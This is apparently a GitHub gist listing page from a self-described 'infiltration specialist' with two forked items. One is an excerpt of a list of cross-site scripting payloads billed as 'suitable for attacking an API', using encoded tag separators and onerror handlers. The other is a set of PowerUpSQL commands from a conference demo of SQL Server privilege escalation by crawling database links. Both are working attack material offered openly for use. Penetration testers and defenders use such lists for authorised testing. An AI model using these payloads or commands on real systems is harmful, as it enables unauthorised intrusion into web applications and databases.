Ahmad Mahfouz eln1x

infiltration specialist

eln1x / 666_lines_of_XSS_vectors.html

Created January 27, 2018 01:43 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html

666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

eln1x / DerbyCon2016 - SQL Server Privilege Escalation Demo - Database Links

Created May 15, 2020 12:55 — forked from nullbind/DerbyCon2016 - SQL Server Privilege Escalation Demo - Database Links

DerbyCon2016 - SQL Server Privilege Escalation Demo - Database Links

	# Import the module
	Import-Module C:\PowerUpSQL-master\scripts\Get-SqlServerLinkCrawl.ps1

	# Crawling Links - this show link paths in output
	Get-SqlCrawl -Verbose -Instance MSSQLSRV04.demo.local\SQLSERVER2014 -Export \| Export-Clixml C:\PowerUpSQL-master\crawl2.xml

	# Crawling Links - this will store link paths in an array so they can be used in differant ways
	Get-SqlCrawl -Verbose -Instance MSSQLSRV04.demo.local\SQLSERVER2014 \| Export-Clixml C:\PowerUpSQL-master\crawl2.xml

	# More Example commands below from Antti Rantasaari